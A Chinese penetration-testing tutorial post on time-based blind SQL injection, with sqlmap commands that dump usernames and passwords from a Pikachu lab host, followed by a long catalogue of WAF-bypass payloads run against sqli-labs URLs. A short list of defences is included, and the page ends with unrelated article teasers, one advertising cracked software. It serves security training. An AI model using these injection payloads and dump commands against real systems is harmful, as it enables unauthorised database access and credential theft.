渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下

news2024/10/27 11:41:10

day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过

一、时间注入

    SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击者无法直接从应用程序的响应中获取SQL查询的结果,而是通过观察应用程序的响应时间来推断信息。时间注入正是利用了这一特性,通过使数据库执行延时函数(如MySQL中的sleep()函数)来检测SQL查询的执行情况,从而推断出数据库中的信息。

1、时间注入的工作原理

时间注入的工作原理大致如下:

  1. 构造延时查询:攻击者会在SQL查询中注入一个条件,该条件会触发数据库执行延时函数。例如,在MySQL中,可以使用IF(condition, sleep(time), 0)这样的语句,如果条件满足,则数据库会延时一段时间(如sleep(10)表示延时10秒)返回结果,否则立即返回。
  2. 观察响应时间:攻击者通过观察应用程序的响应时间来判断延时是否发生,从而推断出条件是否满足。如果应用程序的响应时间显著增加,那么可以认为条件满足,即攻击者可以通过这种方式逐步推断出数据库中的敏感信息。

2、时间注入的用途

时间注入主要用于以下场景:

  • 数据库信息探测:攻击者可以通过时间注入来探测数据库的类型、版本、表名、列名等信息。
  • 数据提取:在知道数据库结构的情况下,攻击者还可以利用时间注入来逐字符地提取数据库中的数据,如用户名、密码等敏感信息。

3、防御措施

为了防范时间注入攻击,可以采取以下措施:

  • 使用参数化查询:参数化查询是预防SQL注入的最有效手段之一。通过将SQL语句中的参数与数据值分开处理,确保数据值不会被解释为SQL代码的一部分,从而避免注入攻击。
  • 严格输入验证:对所有用户输入进行严格的验证和过滤,拒绝任何可疑或不合规的数据。
  • 设置响应时间上限:合理设置响应时间的上限,避免过长的响应时间给攻击者以机会。
  • 使用Web应用防火墙(WAF):WAF能够监控和过滤进出Web应用的网络流量,识别和阻止SQL注入等恶意攻击。

4、时间注入攻击方式

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。

在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep() 、if()、substring()

select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。

select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒

执行。

-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这

个原理 n>1 n 不延时就能确定当前数据库的长度了。

如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。

5、时间注入代码分析

在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。

6、采用时间注入

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
​
-u 表示检测的 url

-p 指定的检测参数

-v 显示调试模式

--technique=T 检测方法为时间注入

7、sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限、表、字段等敏感信息的获取。

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch

--current-user 获取用户

--current-db 当前库

--batch 使用默认模式 自动 y
​

8、获取表 -D 指定数据库 --tables 获取表

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
​

9、获取字段

在 sqlmap --columns 获取字典 -T 某个表

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
​

10、sqlmap 查询账号和密码

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch

--dump 导出数据

-C 指定查询的字段
​

使用 sqlmap 很容易就能把时间注入的数据注入查询出来

二、SQL 注入绕过技术

    SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。

以下是一些常见的SQL注入绕过方法:

  1. 空格过滤绕过
    • 使用注释符/**/、制表符(URL编码为%09)、换行符(URL编码为%0a)、括号、反引号等来代替空格。
  1. 内联注释绕过
    • 利用MySQL的特性,将仅在MySQL上执行的语句放在/*!...*/中。当MySQL数据库的实际版本号大于或等于内联注释中的版本号时,就会执行内联注释中的代码。
  1. 大小写绕过
    • 针对过滤规则只对小写或大写敏感的情况,通过大小写混写的方式来绕过关键字过滤。
  1. 双写关键字绕过
    • 在某些简单的WAF(Web应用防火墙)中,将关键字如select等只使用replace()函数置换为空,此时可以使用双写关键字(如seleselectct)绕过。
  1. 编码绕过
    • 对需要注入的语句进行编码,如URL编码、十六进制编码、Unicode编码、ASCII编码等。
  1. 等价函数字符替换绕过
    • 使用功能相同的函数或操作符进行替换,如使用likein代替=,使用greatestleaststrcmp等函数进行大小判断。
  1. 逻辑符号替换
    • 使用逻辑符号如&&代替and||代替or^|代替xor等。
  1. 特殊字符和引号绕过
    • 使用十六进制编码、宽字节编码等技术处理被过滤的引号等特殊字符。
  1. 对过滤函数的绕过
    • 针对特定的过滤函数,如replace()addslashes()等,构造特定的payload来绕过其过滤规则。

    需要注意的是,SQL注入是一种严重的安全漏洞,攻击者可以利用它来获取数据库的敏感信息,甚至对数据库进行破坏。因此,开发人员应该采取严格的安全措施来防止SQL注入攻击,如使用参数化查询、ORM框架、预编译语句等。同时,定期对代码进行安全审计和漏洞扫描也是非常重要的。

1、空格字符绕过

两个空格代替一个空格,用 Tab 代替空格,%a0=空格

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

select * from users where id=1 /*!union*//*!select*/1,2,3,4;

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容

不注释*/

2、大小写绕过

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1

select * from users where id=1 UNION SELECT 1,2,3,4;

select * from users where id=1 UniON SelECT 1,2,3,4;

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1

select * from users where id=1 UNION SELECT 1,2,3,4;

select * from users where id=1 UniON SelECT 1,2,3,4;

http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,us

er(),3%0Aand%0A%271

http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(Se

lEct%09group_concat(username,password)from%09users),3%09and%20%271

过滤空格可以用%0 代替 也过滤# -- 注释 用字符串匹配
​

3、浮点数绕过注入

select * from users where id=8E0union select 1,2,3,4;

select * from users where id=8.0union select 1,2,3,4;

4、NULL 值绕过

select \N; 代表 null

select * from users where id=\Nunion select 1,2,3,\N;

select * from users where id=\Nunion select 1,2,3,\Nfrom users;

5、引号绕过

如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串

select * from users where id='1';

select * from users where id="1";

也可以将字符串转换成 16 进制 再进行查询。

select hex('admin');

select * from users where username='admin';

select * from users where username=0x61646D696E;

如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;

可以看到存在整型注入的时候 没有用到单引号 所以可以注入。

6、添加库名绕过

以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。

select * from users where id=-1 union select 1,2,3,4 from users;

select * from users where id=-1 union select 1,2,3,4 from moonsec.users;

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。

select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)

from mysql.user;

7、去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

select * from users where id=-1 union distinct select 1,2,3,4 from users;

select * from users where id=-1 union distinct select 1,2,3,version() from users;

8、反引号绕过

在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。

insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');

insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');

9、逗号绕过

目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号

select * from users where id=1 union select 1,2,3,4;

一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。绕过方法如下

ubstr 截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符

查询 m 等于 select(substr(database() from 1 for 1))页面返回正常

select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));

可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号

select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

min 截取字符串 
这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用

这个函数代替。

select mid(database() from 1 for 1); 这个方法如上。

select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));

select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

10、使用 join 绕过

使用 join 自连接两个表

union select 1,2 #等价于 union select * from (select 1)a join (select 2)b

a 和 b 分别是表的别名

select * from users where id=-1 union select 1,2,3,4;

select * from users where id=-1 union select * from (select 1)a join (select 2)b

join(select 3)c join(select 4)d;

select * from users where id=-1 union select * from (select 1)a join (select 2)b

join(select user())c join(select 4)d;

可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截

11、like 绕过

使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

12、limit offset 绕过

    SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。

13、or and xor not 绕过

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2

id=0 xor 1=1 limit 1 、id=1 xor 1=2

对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替

字符如下

and 等于&&

or 等于 ||

not 等于 !

xor 等于|

所以可以转换成这样

id=1 and 1=1 等于 id=1 && 1=1

id=1 and 1=2 等于 id=1 && 1=2

id=1 or 1=1 等于 id=1 || 1=1

id=0 or 1=0 等于 id=0 || 1=0

可以绕过一些 waf 拦截继续对注入点进行安全检测,也可以使用运算符号

id=1 && 2=1+1

id=1 && 2=1-1

14、ascii 字符对比绕过

许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。

select substring(user(),1,1);

select * from users where id=1 and substring(user(),1,1)='r';

select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把'r'换成成 ascii 码 如果开启 gpc int 注入就不能用了。

可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。

15、等号绕过

如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>

select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like 'r%');

select * from users where id=1 and (select substring(user(),1,1)rlike 'r');

select * from users where id=1 and 1=(select user() regexp '^r');

select * from users where id=1 and 1=(select user() regexp '^a');

regexp 后面是正则

16、双关键词绕过

有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。

双关键字绕过(若删除掉第一个匹配的 union 就能绕过)

id=-1'UNIunionONSeLselectECT1,2,3--+

到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。

17、二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。

-1 union select 1,2,3,4#

第一次转码

%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32

%2c%33%2c%34%23

第二次转码

%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2

5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%

36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33

%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

二次编码注入漏洞分析 在源代码中已经开启了 gpc 对特殊字符进行转义

代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。

免责声明:

以上内容仅供参考,不构成任何安全建议或指导。对于具体的安全问题,请咨询专业的安全专家或机构。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2224636.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android 在github网站下载项目:各种很慢怎么办?比如gradle下载慢;访问github慢;依赖下载慢

目录 访问github慢gradle下载慢依赖下载慢 前言 大家好&#xff0c;我是前期后期&#xff0c;在网上冲浪的一名程序员。 为什么要看这篇文章呢&#xff1f;问题是什么&#xff1f; 我们在Github上面看到一些好的项目的时候&#xff0c;想下载下来研究学习一下。但经常遇到各…

外面卖几百的Ai数字人软件 说123456生成视频 去授权版本

下载&#xff1a;https://pan.quark.cn/s/27a0cff98eae 可以无限制使用。

网络拓扑视角下的IP地址管理优化

前言 对IP地址进行有效管理&#xff0c;好处是能 提升网络运行效率&#xff0c;还可以保障网络安全和稳定。网络拓扑结构本身作为网络描述中各节点联系的主要角色&#xff0c;为IP地址管理提供了一些优化策略。 网络拓扑和IP地址管理的关系 网络拓扑结构描述了网络中各节点&a…

【Spring MVC】响应结果和设置

​ 我的主页&#xff1a;2的n次方_ 1. 返回静态页面 先创建一个 html 页面 ​ 如果还按照之前的方式进行返回的话&#xff0c;返回的并不是一个 html 页面 RequestMapping("/response") RestController public class ResponseController {RequestMapping(&quo…

线程同步(互斥锁条件变量)

线程同步 互斥锁(互斥量)条件变量生产/消费者模型 一、互斥锁 C11提供了四种互斥锁&#xff1a; mutex&#xff1a;互斥锁。timed_mutex&#xff1a;带超时机制的互斥锁。recursive_mutex&#xff1a;递归互斥锁。recursive_timed_mutex&#xff1a;带超时机制的递归互斥锁…

命名管道和共享内存

命名管道 管道应用的一个限制就是只能在具有共同祖先的进程间通信&#xff0c;如果我们想在不相关的进程之间交换数据&#xff0c;可以使用FIFO文件来做这项工作&#xff0c;它被称为命名管道&#xff0c;命名管道是一种特殊类型的文件 创建命名管道 int main(int argc, cha…

落地台灯什么牌子好?口碑最好的落地灯品牌

落地台灯什么牌子好&#xff1f;随着落地台灯被越来越多的人认可&#xff0c;如今市场中护眼大路灯品牌类型五花八门&#xff0c;质量存在较大差距。很多网红、明星代言等产品&#xff0c;入行时间短&#xff0c;关注市场营销&#xff0c;而忽视产品核心技术的提升&#xff0c;…

Codeforces Round 982 div2 个人题解(A~D2)

Codeforces Round 982 div2 个人题解(A~D2) Dashboard - Codeforces Round 982 (Div. 2) - Codeforces 火车头 #define _CRT_SECURE_NO_WARNINGS 1#include <algorithm> #include <array> #include <bitset> #include <cmath> #include <cstdio&…

软件系统建设方案书(word参考模板)

1 引言 1.1 编写目的 1.2 项目概述 1.3 名词解释 2 项目背景 3 业务分析 3.1 业务需求 3.2 业务需求分析与解决思路 3.3 数据需求分析【可选】 4 项目建设总体规划【可选】 4.1 系统定位【可选】 4.2 系统建设规划 5 建设目标 5.1 总体目标 5.2 分阶段目标【可选】 5.2.1 业务目…

简记 Vue3(一)—— setup、ref、reactive、toRefs、toRef

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1f4c3;个人状态&#xff1a; 研发工程师&#xff0c;现效力于中国工业软件事业 &#x1f680;人生格言&#xff1a; 积跬步…

API网关的作用--为什么微服务需要一个API网关?

微服务网关核心作用就是协议转换、安全隔离和流量控制 微服务架构中&#xff0c;API网关作为系统的入口点&#xff0c;可以统一处理所有客户端请求。 1&#xff09;协议转换&#xff1a;它能够支持多种通信协议&#xff08;如HTTP、gRPC等&#xff09;之间的相互转换&#xff…

【数据结构】快速排序(三种实现方式)

目录 一、基本思想 二、动图演示&#xff08;hoare版&#xff09; 三、思路分析&#xff08;图文&#xff09; 四、代码实现&#xff08;hoare版&#xff09; 五、易错提醒 六、相遇场景分析 6.1 ❥ 相遇位置一定比key要小的原因 6.2 ❥ 右边为key&#xff0c;左边先走 …

一个关于@JsonIgnore的isxxx()问题

一个关于JsonIgnore的问题 版本:2.13.5 <dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><optional>true</optional></dependency>代码&#xff1a; Data public clas…

2024年10月27日历史上的今天大事件早读

公元前628年10月27日 春秋五霸之一晋文公重耳卒 1915年10月27日 美军进入一战前线 1921年10月27日 思想家严复逝世 1927年10月27日 中共创建井冈山根据地 1937年10月27日 八百壮士坚守四行仓库 1937年10月27日 伪“蒙古联盟自治政府”成立 1938年10月27日 日军对中国军队…

《向量数据库指南》——text-embedding-3-large与Mlivus Cloud打造语义搜索新纪元

使用text-embedding-3-large生成向量并将向量插入Mlivus Cloud实现高效语义搜索的深度解析与实战操作 在数字化时代,数据的处理和存储方式正在经历前所未有的变革。特别是随着大数据和人工智能技术的快速发展,向量数据库作为一种新型的数据存储和查询方式,正逐渐受到越来越…

KUKA机器人选定程序时提示“选择非法”的处理方法

KUKA机器人选定程序时提示“选择非法”的处理方法 如下图所示,选中某个程序,点击选定时, 系统提示:选择非法, 具体处理方法可参考以下内容: 选中该程序后,在右下角打开【编辑】菜单键,再选择【属性】,打开后可以看到程序的一般说明、信息模块和参数等信息,如下图所示…

AMD锐龙8845HS+780M核显 虚拟机安装macOS 15 Sequoia 15.0.1 (2024.10)

最近买了机械革命无界14X&#xff0c;CPU是8845HS&#xff0c;核显是780M&#xff0c;正好macOS 15也出了正式版&#xff0c;试试兼容性&#xff0c;安装过程和之前差不多&#xff0c;这次我从外网获得了8核和16核openCore&#xff0c;分享一下。 提前发一下ISO镜像地址和open…

基于SSH的物流运输货运车辆管理系统源码

基于经典的ssh&#xff08;Spring Spring MVC Hibernate&#xff09;框架与SaaS&#xff08;软件即服务&#xff09;模式&#xff0c;我们为运输企业与物流公司打造了一款开源且易用的车辆管理系统。 该系统主要包含以下核心模块&#xff1a; 档案管理 财务管理 借款管理 保…

研究生论文学习记录

文献检索 检索论文的网站 知网&#xff1a;找论文&#xff0c;寻找创新点paperswithcode &#xff1a;这个网站可以直接找到源代码 直接再谷歌学术搜索 格式&#xff1a;”期刊名称“ 关键词 在谷歌学术搜索特定期刊的关键词相关论文&#xff0c;可以使用以下几种方法&#…

【最全基础知识2】机器视觉系统硬件组成之工业相机镜头篇--51camera

机器视觉系统中,工业镜头作为必备的器件之一,须和工业相机搭配。工业镜头是机器视觉系统中不可或缺的重要组成部分,其质量和性能直接影响到整个系统的成像质量和检测精度。 目录 一、基本功能和作用 二、分类 1、按成像方式分 2、按焦距分 3、按接口类型分 4、按应用…